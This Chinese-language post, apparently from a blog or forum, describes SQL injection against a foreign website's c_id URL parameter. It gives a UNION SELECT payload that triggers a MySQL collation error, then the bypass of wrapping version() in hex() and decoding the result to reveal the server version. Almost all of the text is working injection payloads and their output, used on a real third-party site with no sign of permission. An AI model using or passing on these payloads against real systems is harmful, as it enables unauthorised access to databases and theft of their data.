测试个国外的站时:
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误:
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation ’UNION’
MySQL Error No. 126
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
解决办法:转为其他编码如hex。
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为:
342E312E332D62657461
回Mysql查询下得到:
mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)